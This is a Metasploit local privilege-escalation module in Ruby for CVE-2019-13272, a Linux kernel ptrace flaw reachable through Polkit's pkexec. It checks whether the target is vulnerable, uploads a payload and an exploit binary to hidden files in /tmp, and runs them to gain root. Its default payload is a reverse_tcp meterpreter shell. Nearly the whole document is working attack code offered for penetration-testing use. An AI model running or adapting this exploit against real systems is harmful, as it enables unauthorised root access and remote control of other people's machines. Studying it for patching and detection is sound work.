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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Kernel  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Compile  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',  
'Description' => %q{  
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux  
kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but  
not over an SSH session, as it requires execution from within the context of  
a user with an active Polkit agent.  
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles  
the recording of the credentials of a process that wants to create a ptrace  
relationship, which allows local users to obtain root access by leveraging  
certain scenarios with a parent-child process relationship, where a parent drops  
privileges and calls execve (potentially allowing control by an attacker). One  
contributing factor is an object lifetime issue (which can also cause a panic).  
Another contributing factor is incorrect marking of a ptrace relationship as  
privileged, which is exploitable through (for example) Polkit's pkexec helper  
with PTRACE_TRACEME.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Jann Horn', # Discovery and exploit  
'bcoles', # Metasploit module  
'timwr', # Metasploit module  
],  
'References' => [  
['CVE', '2019-13272'],  
['EDB', '47133'],  
['PACKETSTORM', '153663'],  
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],  
],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X64 ],  
'Targets' => [[ 'Auto', {} ]],  
'DefaultOptions' =>  
{  
'Payload' => 'linux/x64/meterpreter/reverse_tcp',  
'PrependFork' => true,  
},  
'DisclosureDate' => 'Jul 4 2019'))  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def check  
# Introduced in 4.10, but also backported  
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17  
release = kernel_release  
v = Gem::Version.new release.split('-').first  
  
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')  
vprint_error "Kernel version #{release} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Kernel version #{release} appears to be vulnerable"  
  
unless command_exists? 'pkexec'  
vprint_error 'pkexec is not installed'  
return CheckCode::Safe  
end  
vprint_good 'pkexec is installed'  
  
arch = kernel_hardware  
unless arch.include? 'x86_64'  
vprint_error "System architecture #{arch} is not supported"  
return CheckCode::Safe  
end  
vprint_good "System architecture #{arch} is supported"  
  
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')  
if loginctl_output =~ /Remote=yes/  
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'  
return CheckCode::Safe  
end  
  
CheckCode::Appears  
end  
  
def exploit  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"  
upload_and_chmodx(payload_file, generate_payload_exe)  
register_file_for_cleanup(payload_file)  
  
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')  
end  
register_file_for_cleanup(exploit_file)  
  
print_status("Executing exploit '#{exploit_file}'")  
result = cmd_exec("echo #{payload_file} | #{exploit_file}")  
print_status("Exploit result:\n#{result}")  
end  
end